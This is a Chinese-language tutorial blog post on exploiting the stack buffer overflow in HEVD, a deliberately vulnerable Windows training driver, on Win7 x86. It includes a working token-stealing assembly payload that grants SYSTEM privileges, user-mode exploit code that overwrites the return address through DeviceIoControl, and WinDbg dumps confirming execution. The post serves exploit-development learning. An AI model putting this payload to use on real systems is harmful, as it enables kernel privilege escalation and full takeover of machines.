[02] HEVD 内核漏洞之栈溢出
作者:huity
出处:https://www.cnblogs.com/huity35/p/11231155.html
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0x00 前言
实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1
实验工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer
这几天看到有很多同样开始研究二进制漏洞的小伙伴,几经交流,先膜再说。传送门:TJ。
驱动安装





0x01 漏洞原理
栈溢出
分析
ULONG KernelBuffer[BUFFER_SIZE] = { };
...
#ifdef SECURE //安全版本
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else //漏洞版本
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
0x02 漏洞利用
提权
即将目标进程的 Token
结构数据或指针替换成 System
进程等系统进程的 Token
结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
第一步首先需要定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:
kd> r fs
fs=
kd> dd fs:[0x124]
: 83f7d380 83f7d380
: 9e090106 0001007f
:
:
:
:
:
: 83f0cae7 83e4ff64 kd> dt _KTHREAD 83f7d380
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
...
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [] "???"
+0x057 Priority : ''
... kd> dt _KAPC_STATE
nt!_KAPC_STATE
+0x000 ApcListHead : [] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
Token
成员域。kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
...
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [] Uint4B
+0x0c8 ProcessQuotaPeak : [] Uint4B
...
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
... kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos , Bits
+0x000 Value : Ui
数值的低 3
位表示引用计数,去除低 3
位数值后的 32
位完整数值指向实际表示的内存地址。
Token
结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid
),特权级(Privileges
)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System
进程的 Token
结构块的数据如下:
kd> !token
_TOKEN 0xffffffff89201270
TS Session ID:
User: S---
User Groups:
S----
Attributes - Default Enabled Owner
S---
Attributes - Mandatory Default Enabled
S---
Attributes - Mandatory Default Enabled
S---
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S---
Privs:
0x000000002 SeCreateTokenPrivilege Attributes -
0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
...
0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID:
Modified ID: (, 3eb)
RestrictedSidCount: RestrictedSids: 0x0000000000000000
OriginatingLogonSession:
第三步,用系统进程令牌替换当前进程令牌。
VOID TokenStealingPayloadWin7() {
__asm {
pushad ; 保存寄存器状态
xor eax, eax ; 清空eax
mov eax, fs:[eax + KTHREAD_OFFSET] ;获取当前线程KTHREAD结构
mov eax, [eax + EPROCESS_OFFSET] ; 获取_KPROCESS结构
mov ecx, eax ; KProcess为EProcess第一个字段 这里将目标进程EProcess首地址放进ecx 方便后面替换
mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; 获取System进程令牌
mov [ecx + TOKEN_OFFSET], edx ; 用系统进程令牌替换目标进程令牌
; End of Token Stealing Stub
popad ; 恢复现场
; Kernel Recovery Stub
xor eax, eax ; 设置返回状态为成功0
add esp, ; 恢复堆栈
pop ebp ; 弹栈
ret ;
}
}
利用代码
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
...
//获取设备对象句柄
hFile = GetDeviceHandle(FileName); ...
//动态申请内存 2084
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize); ...
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A' MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申请区域的倒数第四的字节 0x368068+0x824-4 = 0x368888 ...
*(PULONG)MemoryAddress = (ULONG)EopPayload;//写入payload地址 DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
,
&BytesReturned,
NULL); HeapFree(GetProcessHeap(), , (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
动态申请UserModeBufferSize(0x824)大小内存,使用字符A填充,修改最后四字节为Payload地址。驱动层通过IO控制码进入栈溢出处理历程,也即文章开始处的触发函数。




kd> db 0x002c8068 l
002c8068 - AAAAAAAAAAAAAAAA
002c8078 - AAAAAAAAAAAAAAAA
...
002c8868 - AAAAAAAAAAAAAAAA
002c8878 - AAAAAAAAAAAAAAAA
002c8888 b6 3f ..?. kd> db 013f13b6
013f13b6 e9 e9 3b- e9 d6 e9 .%u... ;........
013f13c6 e9 bc - e9 4c d5 e9 ....A....L....'
013f13d6 c5 e9 f4 a1 -e9 9d d6 e9 d7 ................
013f13e6 e9 e9- d6 e9 2d ...sE........)-.
013f13f6 e9 d0 a1 e9 ef-ba e9 2a bb ............*...
013f1406 e9 a1 e9 b6 a1- e9 0b a2 e9 .s..............
013f1416 a1 e9 a1 - e9 dc b3 e9 .....q..........
013f1426 a2 e9 d7 -e9 ff a1 e9 d5 ..............(. 013f88f2 b930000000 mov ecx,30h
kd> u 013f13b6++ l
013f88e0 push ebp
013f88e1 8bec mov ebp,esp
...
013f88fe pushad
013f88ff 33c0 xor eax,eax
013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h]
013f8908 8b4050 mov eax,dword ptr [eax+50h]
013f890b 8bc8 mov ecx,eax
013f890d ba04000000 mov edx,
013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h]
013f8918 2db8000000 sub eax,0B8h
013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx
013f8923 75ed jne 013f8912
013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h]
013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx
013f8931 popad
...
013f894e c3 ret
013f894f cc int
再来看看内核栈缓冲区,明显可以看到,覆盖范围超出了内核栈缓冲区,并且最后四个字节为payload跳转地址。
kd> dt KernelBuffer
Local var @ 0x987fb288 Type unsigned long[] kd> db 0x987fb288 l 0x800 //覆盖前
987fb288 - ................
987fb298 - ................
...
987fba78 - ................ kd> db 0x987fb288 l 0x824 //覆盖后
987fb288 - AAAAAAAAAAAAAAAA
987fb298 - AAAAAAAAAAAAAAAA
...
987fba98 - AAAAAAAAAAAAAAAA
987fbaa8 b6 3f ..?.
测试中,可以看到我们的payload代码成功执行。



0x03 防范机制
0x04 链接
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